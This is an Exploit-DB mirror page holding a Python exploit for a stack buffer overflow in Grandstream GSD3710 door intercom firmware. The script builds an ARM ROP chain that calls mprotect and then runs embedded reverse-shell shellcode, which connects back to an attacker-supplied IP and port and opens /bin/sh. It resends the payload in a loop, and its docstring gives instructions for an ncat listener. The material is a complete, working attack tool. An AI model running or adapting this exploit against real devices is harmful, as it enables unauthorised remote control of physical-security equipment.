exploit-db-mirror/exploits/multiple/remote/52303.py
Exploit-DB d69eaacef8 DB: 2025-05-26
8 changes to exploits/shellcodes/ghdb

Java-springboot-codebase 1.1 - Arbitrary File Read

ABB Cylon Aspect Studio 3.08.03 - Binary Planting

ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation

Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow

WordPress User Registration & Membership Plugin 4.1.2 - Authentication Bypass

Microsoft Windows Server 2016 - Win32k Elevation of Privilege

Windows 2024.15 - Unauthenticated Desktop Screenshot Capture
2025-05-26 00:16:29 +00:00

247 lines
No EOL
6.9 KiB
Python
Executable file
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#!/usr/bin/env python3
# Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
# Google Dork: [if applicable]
# Date: 2025-05-23
# Exploit Author: Pepelux (user in ExploitDB)
# Vendor Homepage: https://www.grandstream.com/
# Software Link: [download link if available]
# Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
# Tested on: Linux and MacOS
# CVE: CVE-2022-2070
"""
Author: Jose Luis Verdeguer (@pepeluxx)
Required: Pwntools
Example:
Terminal 1:
$ ncat -lnvp 4444
Terminal 2:
$ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444
"""
from operator import ge
import sys
import time
from pwn import *
import argparse
def get_args():
parser = argparse.ArgumentParser(
formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
prog, max_help_position=50))
# Add arguments
parser.add_argument('-ti', '--target_ip', type=str, required=True,
help='device IP address', dest="device_ip")
parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081,
help='device port', dest="device_port")
parser.add_argument('-ri', '--reverse_ip', type=str, required=True,
help='reverse IP address', dest="reverse_ip")
parser.add_argument('-rp', '--reverse_port', type=int, required=True,
help='reverse port', dest="reverse_port")
# Array for all arguments passed to script
args = parser.parse_args()
try:
TI = args.device_ip
TP = args.device_port
RI = args.reverse_ip
RP = args.reverse_port
return TI, TP, RI, RP
except ValueError:
exit()
def check_badchars(data):
for i in range(len(data)):
if data[i] in [0x0, 0x40]:
log.warn("Badchar %s detected at %#x" % (hex(data[i]), i))
return True
return False
def get_shellcode(ip, port):
ip_bytes = socket.inet_aton(ip)
port_bytes = struct.pack(">H", port)
# Linux ARM reverse shell
# switch to thumb mode
sc = b"\x01\x30\x8F\xE2" # add r3, pc, #1
sc += b"\x13\xFF\x2F\xE1" # bx r3
# socket(2, 1, 0)
sc += b"\x02\x20" # movs r0, #2
sc += b"\x01\x21" # movs r1, #1
sc += b"\x92\x1A" # subs r2, r2, r2
sc += b"\xC8\x27" # movs r7, #0xc8
sc += b"\x51\x37" # adds r7, #0x51
sc += b"\x01\xDF" # svc #1
sc += b"\x04\x1C" # adds r4, r0, #0
# connect(r0, &sockaddr, 16)
sc += b"\x0C\xA1" # adr r1, #0x30
sc += b"\x4A\x70" # strb r2, [r1, #1]
sc += b"\x10\x22" # movs r2, #0x10
sc += b"\x02\x37" # adds r7, #2
sc += b"\x01\xDF" # svc #1
# dup2(sockfd, 0)
sc += b"\x3F\x27" # movs r7, #0x3f
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x49\x1A" # subs r1, r1, r1
sc += b"\x01\xDF" # svc #1
# dup2(sockfd, 1)
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x01\x21" # movs r1, #1
sc += b"\x01\xDF" # svc #1
# dup2(sockfd, 2)
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x02\x21" # movs r1, #2
sc += b"\x01\xDF" # svc #1
# execve("/bin/sh")
sc += b"\x06\xA0" # adr r0, #0x18
sc += b"\x92\x1A" # subs r2, r2, r2
sc += b"\x49\x1A" # subs r1, r1, r1
sc += b"\x01\x91" # str r1, [sp, #4]
sc += b"\x02\x91" # str r1, [sp, #8]
sc += b"\x01\x90" # str r0, [sp, #4]
sc += b"\x01\xA9" # add r1, sp, #4
sc += b"\xC2\x71" # strb r2, [r0, #7]
sc += b"\x0B\x27" # movs r7, #0xb
sc += b"\x01\xDF" # svc #1
sc += b"\x02\xFF"
sc += port_bytes
sc += ip_bytes
sc += b"/bin/shX"
return sc
def main():
ti, tp, ri, rp = get_args()
# ROP Gadgets
libc_base = 0x76ec1000
mprotect = libc_base + 0x93510+1
pop_lr = libc_base + 0x1848C # pop {r0, r4, r8, ip, lr, pc}
pop_pc = libc_base + 0xd7515 # pop {pc}
pop_r0 = libc_base + 0x00064bb0+1 # 0x00064bb0 : pop {r0, pc}
pop_r5 = libc_base + 0x00003738+1 # 0x00003738 : pop {r5, pc}
add_r1_sp = libc_base + 0x000b3c4e+1 # 0x000b3c4e : add r1, sp, #0x14 ; blx r5
# 0x0002f83c (0x0002f83d): mov r0, r1; bx lr
mov_r0_r1 = libc_base + 0x0002f83d
# 0x0006a086 (0x0006a087): pop {r1, pc}
pop_r1 = libc_base + 0x6a087
ands_r0_r1 = libc_base + 0x1feba+1 # 0x0001feba : ands r0, r1 ; bx lr
# 0x000a3a42 : movs r4, r0 ; pop {r1, pc}
mov_r4_r0 = libc_base + 0x000a3a42+1
# 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr
movs_r1_r0 = libc_base + 0x0001fdaf
and_r0_f = libc_base + 0x8717e+1 # 0x0008717e : and r0, r0, #0xf ; bx lr
movs_r2_r0 = libc_base + 0x0001fc6a+1 # 0x0001fc6a : movs r2, r0 ; bx lr
mov_r0_r4 = libc_base + 0x0001f9d4+1 # 0x0001f9d4 : movs r0, r4 ; bx lr
blx_sp = libc_base + 0x46595 # 0x00046594 (0x00046595): blx sp
shellcode = get_shellcode(ri, rp)
auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @"
junk = p32(0x43434343)
payload = auth_command
payload += b"A" * 144
# The goal is that R0 -> SP
# R5 = pop {pc}
# because in the the next gadget we have a blx r5
payload += p32(pop_r5)
payload += p32(pop_pc) # R5 = pop {pc}
# R1 = SP ; BLX pop {pc}
payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5
# Restore LR register (because it has been updated by the last BLX gadget)
payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}
payload += junk*4 # r0, r4, r8, ip
payload += p32(pop_pc) # LR = pop {pc}
# R0 = stack address
payload += p32(mov_r0_r1) # mov r0, r1; bx lr
# R1 = mask page align
payload += p32(pop_r1) # pop {r1, pc}
payload += p32(0xfffe1001)
# R0 = stack address & 0xfffe1001
payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr
# R4 = R0
payload += p32(mov_r4_r0) # movs r0, r4 ; bx lr
payload += junk # r1
# mprotect params
# r0 = shellcode page aligned address
# r1 = size(ofshellcode)
# r2 = protection (0x7 RWX)
# R2 = 0x7
payload += p32(pop_r0)
payload += p32(0x07070707)
payload += p32(and_r0_f) # R0 = 7 (RWX)
payload += p32(movs_r2_r0) # R2 (prot: 7 - RWX)
# R1 = length = 0x10101010 (avoid 0's)
payload += p32(pop_r0)
payload += p32(0x01010101)
payload += p32(movs_r1_r0) # r1 (length: 0x10101010)
# R0 = stack address 4k aligned
payload += p32(mov_r0_r4)
# mprotect(stack, 0x10101010, 0x7)
payload += p32(mprotect)
payload += p32(blx_sp) # ejecutamos en pila
payload += shellcode # shellcode
if check_badchars(payload[len(auth_command):]):
sys.exit(0)
log.info("Device IP: %s:%d" % (ti, tp))
log.info("Attacker IP: %s:%d" % (ri, rp))
log.info("Payload len: %d" % len(payload))
count = 1
while True:
try:
print('Try: %d' % count)
r = remote(ti, tp)
r.send(payload)
log.success("Payload sent!")
# r.close()
time.sleep(1)
count += 1
except:
sleep(3)
pass
if __name__ == '__main__':
main()